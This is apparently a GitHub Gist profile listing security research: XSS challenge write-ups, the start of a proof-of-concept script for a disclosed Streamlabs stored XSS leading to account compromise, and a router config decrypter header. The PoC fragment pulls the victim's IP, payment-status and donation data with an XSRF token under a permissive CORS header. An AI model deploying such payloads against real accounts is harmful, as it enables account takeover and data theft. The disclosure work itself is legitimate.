Skip to content

Instantly share code, notes, and snippets.

View NRockhouse's full-sized avatar

Nicholas Mun NRockhouse

4 followers · 1 following
View GitHub Profile
@NRockhouse
NRockhouse / Solution: Intigriti January 2021 XSS Challenge.md
Created January 29, 2021 19:45

Hey again (Inti)griti, hope y'all are doing well. Thanks for the challenge as usual.

Vulnerability

The main vulnerability is a very limited XSS on line 41, whereby arbitrary data from the r URL inserted is appended into the DOM as such ({url} being the injection point).

If you're not being redirected, click <a href=${url}>here</a>

However, it is limited by two checks in place.

  1. Every single property in both window and document object is checked for the keyword javascript. If found, the property is deleted entirely, leaving it undefined (and possibly causing runtime errors). [line 5-11]
@NRockhouse
NRockhouse / Solution: 10K Followers Intigriti XSS Challenge.md
Last active April 27, 2020 14:09

Proof of Concept / description

Attacker needs to give victim a malicious link that he controls in order to exploit the vulnerability.

Live PoC: ██████████

Code I used

<body></body>
@NRockhouse
NRockhouse / script.js.php
Last active January 29, 2021 19:41
Streamlabs: Stored XSS in donation page leading to account compromise - Proof-of-Concept (PoC) scripts. Read more: https://blog.rockhouse.dev/2017/12/31/streamlabs-stored-xss-in-donation-page-leading-to-account-compromise-and-my-first-reward/
<?php header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
header("Content-Type: text/plain; charset=UTF-8"); ?>
this.style.display = "none";
alert("StreamLabs.Stored.XSS.Vulnerability-Cheat.Activated!-Alert");
var getLinks = ["https://api.ipify.org", "/api/v5/payment/status", "/api/v5/donation/all"];
var msg = "";
var xhr = new XMLHttpRequest();
var xsrfToken = "";
xhr.open("GET", "https://api.ipify.org", false);
xhr.send();
@NRockhouse
NRockhouse / TM-Innacomm-ADSL-MARITIME-W3410N-ConfigFileDecrypt.py
Last active January 10, 2018 14:24
Telekom Malaysia (TM) Innacomm ADSL-MARITIME-W3410N Router Backup Configuration File Decrypter & Encrypter
#!/usr/bin/python
# =============================================================
# Telekom Malaysia (TM) Innacomm ADSL-MARITIME-W3410N
# Router Configuration Settings Backup File Decryption Tool
#
# This Python script is used to decrypt the backup configuration
# settings file of the TM Innacomm ADSL-MARITIME-W3410N (which
# is apparently a rebranded PROLiNK ADSL2 PRS1241B modem according
# to blog.fpmurphy.com). The usage is pretty self-explanatory